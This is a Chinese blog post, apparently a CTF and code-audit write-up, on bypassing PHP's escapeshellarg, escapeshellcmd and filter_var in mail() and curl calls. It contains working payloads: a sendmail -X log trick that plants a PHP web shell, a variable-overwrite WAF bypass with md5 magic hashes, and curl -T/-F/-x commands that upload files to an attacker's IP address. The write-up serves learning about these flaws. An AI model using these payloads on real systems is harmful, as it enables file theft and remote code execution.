0%

代码审计 -- escapeshellarg与escapeshellcmd使用不当

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

漏洞分析

代码大概就是一个发送邮件的功能。我们先来了解几个函数。

内置 mail 函数

1
2
3
4
5
6
7
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)

其参数分别表示:

1
2
3
4
5
to,指定邮件接收者,即接收人
subject,邮件的标题
message,邮件的正文内容
additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
additional_parameters,指定传递给发送程序sendmail的额外参数。

其中additional_parameters 额外参数中主要有:

1
2
3
4
5
6
7
8
-O option = value  -O可用于重新配置sendmail选项
QueueDirectory = queuedir 选择队列消息

-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况

-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址

例如如下代码

1
2
3
4
5
6
7
8
9
10
<?php
$to = 'Alice@example.com';
$subject = 'Hello Alice!';
$message = '<?php phpinfo(); ?>';
$headers = "CC:somebodyelse@example.com";
$options = '-OQueueDirectory=/tmp -X /var/www/html/rce.php';
mail($to, $subject, $headers, $options);
?>
//其中 -O可用于重新配置sendmail选项 就是改了QueueDirectory选项
//然后 -x指定日志文件的位置。

这样我们就可以在网站根目录下创建一个rce.php内容为:

1
2
3
4
5
6
7
17220 <<< To: Alice@example.com
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]

filter_var 函数

我们以前也了解过它了,再来看看吧。

filter_var :使用特定的过滤器过滤一个变量

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

功能 :根据第二个参数filter按照要求过滤一些想要过滤的东西。

filter_var() 在使用 FILTER_VALIDATE_EMAIL 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。下面举个简单的例子,方便理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
$email = '123 @example.c';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
echo "Email: ".$email." correct";
else
echo "email not correct";
?>
//结果为 email not correct
<?php
$email = '123\ @example.c';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
echo "Email: ".$email." correct";
else
echo "email not correct";
?>
// 结果为email not correct
//我们需要@前面的字符双引号引起来
<?php
$email = '"123\ "@example.c';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
echo "Email: ".$email." correct";
else
echo "email not correct";
?>
//Email: "123\ "@example.c correct
//我们再试试其它‘、“
<?php
$email = '"123\"\'"@example.c';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
echo "Email: ".$email." correct";
else
echo "email not correct";
?>
//Email: "123\"'"@example.c correct
//我们发现也是可以的,而且还被转义输出了
<?php
$email = '\'."123"@example.c';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
echo "Email: ".$email." correct";
else
echo "email not correct";
?>
//这样也是可以的Email: '."123"@example.c correct
<?php
$email = '\"."123"@example.c';
if (filter_var($email, FILTER_VALIDATE_EMAIL))
echo "Email: ".$email." correct";
else
echo "email not correct";
?>
//但是这样就不可以了,从上一次的输出我们可以发现如果是"会造成闭合错误

escapeshellarg() 函数

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)

如以下测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$a = '123';
$b=escapeshellarg($a);
echo "old: ".$a."\n";
echo "now: ".$b;
?>
//old: 123 now: '123' 发现它给2边加了单引号。
<?php
$a = "12'3";
$b=escapeshellarg($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: 12'3 now: '12'\''3' 发现单引号被注释,并已它为中介分为2边
<?php
$a = '12"3';
$b=escapeshellarg($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: 12"3 now: '12"3' 双引号并不会被反义
<?php
$a = '12\}[*3';
$b=escapeshellarg($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: 12\}[*3 now: '12\}[*3' 似乎它只在意单引号

escapeshellcmd() 函数

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义

 反斜杠会在以下字符之前插入: #&;`|?~<>^()[]{}$, x0A 和 xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 都会被空格代替。(译注:实际测试发现在 Windows 平台是前缀 ^ 来转义的。)
*
测试:**

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
$a = '12"3';
$b=escapeshellcmd($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: 12"3 now: 12\"3 就是把可以字符注释掉
<?php
$a = '12"3"';
$b=escapeshellcmd($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: 12"3" now: 12"3" 注意 ' 和 " 仅在不配对儿的时候被转义
<?php
$a ="'123'";
$b=escapeshellcmd($a);
echo "old: ".$a."\t\t";
echo "now: ".$b;
?>
//old: '123' now: '123' 验证了上面所说的结论。

再来看题目了

  1. 题目使用了先是使用了filter_var来过滤,我们已给出方案。
  2. 随后会进入到 escapeshellarg 我们从上面基本了解了其用途和方法,但未知其绕过方法。
  3. PHP的 mail() 函数在底层实现中,调用了 escapeshellcmd() 函数,对用户输入的邮箱地址进行检测,导致即使存在特殊符号,也会被 escapeshellcmd() 函数处理转义。
  4. 死活后面2个无法绕过,但其实他们2个一起用就会出现漏洞。
  5. 测试如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    <?php
    $param="127.0.0.1' -v -d a=1";
    $a=escapeshellarg($param);
    $b=escapeshellcmd($a);
    $cmd="curl ".$b;
    system($cmd);
    ?>
    /*
    1. 传入的参数为 127.0.0.1' -v -d a=1
    2. 在escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
    '127.0.0.1'\'' -v -d a=1'
    3. 接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:
    '127.0.0.1'\\'' -v -d a=1\'
    4. 由于第三步处理之后的payload中的 \\ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分。
    5. 最后相当构造为:curl 127.0.0.1\ -v -d a=1'即向 127.0.0.1\ 发起请求,POST 数据为 a=1' 。
    */

CTF 题目

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//index.php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){ //不能存在为flag的键名
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP); //将键值 赋值给变量 键名为变量名的变量
if($_GET) extract($_GET, EXTR_SKIP); //EXTR_SKIP - 如果有冲突,不覆盖已有的变量
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){ //和上面的if可以用数组绕过
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");//url的值要以http开头
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);//就按我们上面说的漏洞一样绕过
system("curl ".$url);
}
}
?>

flag.php

1
2
3
4
// flag.php
<?php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>

CTF 题解

POST以_GET[flag]会以什么样的形式存储 ?

测试代码如下:

1
2
3
4
5
6
7
<?php
var_dump($_POST);
echo "\n\n\n\n";
var_dump($_GET);
?>

payload: flag=1&a[1]=1&a[2]=2

结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
array(2) {
["flag"]=>
string(1) "1"
["a"]=>
array(2) {
[1]=>
string(1) "1"
[2]=>
string(1) "2"
}
}


array(2) {
["flag"]=>
string(1) "1"
["a"]=>
array(2) {
[1]=>
string(1) "1"
[2]=>
string(1) "2"
}
}

也就是说,get和post都一样,但我们传入单独的一个键值对时就会被当成一个普通键值对。
但当我们传入一个数组时会被内嵌套为一个数组。(其实也好理解,只是我思维一下没转过来)。就是get、post也可以传一个数组的。

第一部分

  1. 我们先来看看这里:
    1
    2
    3
    4
    5
    6
    7
    8
    foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
    if($$__R) {
    foreach($$__R as $__k => $__v) {
    if(isset($$__k) && $$__k == $__v) unset($$__k);
    }
    }

    }
     看了我好一会啊,第一个foreach 首先将 _POST$__R ,然后进行判断相当于判断 if($_POST) 也就是是否传了POST值。随后第二个 foreach 将我们的POST的数据,键赋值给$__k值赋值给$__v。接着进行判断,如果键等于值就进行unset销毁以键名为变量名的变量。
     假如我们通过GET提交flag=mayi,接着通过POST提交一个_GET[flag]=mayi。
     分析运行过程:首先遍历POST请求,第二个foreach时 $__k=_GET 所以$$__K就相当于$_GET而我们也传了$_GET且值就为$__v的值(数组 flag=mayi),所以就将$_GET进行销毁。
     然后运行到 waf($_POST); 此时,进行判断时 $key 的值为 _GET (_GET下的flag键不会被检测到)。当然不会触发 die。
     再看看此时的 if($_GET) 我们的$_GET 已经被销毁了,waf()当然不会被执行了。至于if($_COOKIE) 我们根本就没设置flag键就更不会被触发了。
     再运行到这里 extract($_POST, EXTR_SKIP); 会将我们的$_GET 赋值为数组flag=mayi也就是$_GET[flag]=mayi 然后再经过 extract($_GET, EXTR_SKIP); 就可以将 flag 赋值为 mayi 了。至于EXTR_SKIP就是已经存在的变量不覆盖。 (这样我们就绕过waf了)
     然后还有一个md5需要绕过,我们有2个办法。第一选着2个0e开头的md5即可绕过。第二就是传入数组。第二种需要注意:
    1
    2
    3
    4
    5
    6
    7
    get: flag[]=1
    我们需要:
    post: _GET[flag][]=1 表示二维数组
    而不是——GET[flag[]]错误写法

    md5值0e开头的2个字符串:
    QNKCDZO和s878926199a
    所以到这里我们绕过的payload为:
    1
    2
    get:  flag=s878926199a&hongri=QNKCDZO
    post: _GET[flag]=s878926199a&_GET[hongri]=QNKCDZO
    记住,get发的请求在post也要以_GET方式发送一份。

第二部分

我们需要用http开头我们的url。
第一,我们使用 -T 或者 -F 参数上传flag文件到 vps指定端口,并且vps nc监听端口。
第二种,我们 使用 -T -T 可以上传文件给一个不存在的http开头的网址,然后-x来设置代理为vps及指定端口,并在vps中进行监听。

window问题

 Linux环境中在以下字符之前插入: #&;`|?~<>^()[]{}$, x0A 和 xFF。 ‘ 和 “ 仅在不配对的时候被反斜杠转义。
 *
windows中**所有以上的符号包括 ‘ 和 “ 都会被前缀 ^ 来转义的。
 这就很烦呀,我们本来可以通过 http:/vps:端口 然后直接侦听到flag。但是发送如下:

1
2
3
"http://47.115.150.207:666 -T d://test.txt"
^"http://47.115.150.207:666 -T d://test.txt^"
这就导致我们出错了,所以应该在Windows下无法完成吧?
直接测试发现

我直接用cmd执行以下命令

1
2
3
4
5
6
7
8
###file= 后不加@ 代理不会显示内容,而是显示d://test.txt
curl http://47.115.sf.s' -F file=d://test.txt -x 47.115.150.207:666
### 以下可以达到我们的效果
curl http://47.115.sf.s' -F file=@d://test.txt -x 47.115.150.207:666
curl http://47.115.sf.s' -T d://test.txt -x 47.115.150.207:666
### 但然其实我们不用代理直接肝也是可以的
curl http://47.115.150.207:666 -T d://test.txt
curl -F file=@d://test.txt 47.115.150.207:666

这次代码审计居然花了这么长时间,可能还是太菜了吧,再次被自己菜哭。


-------------本文结束感谢您的阅读-------------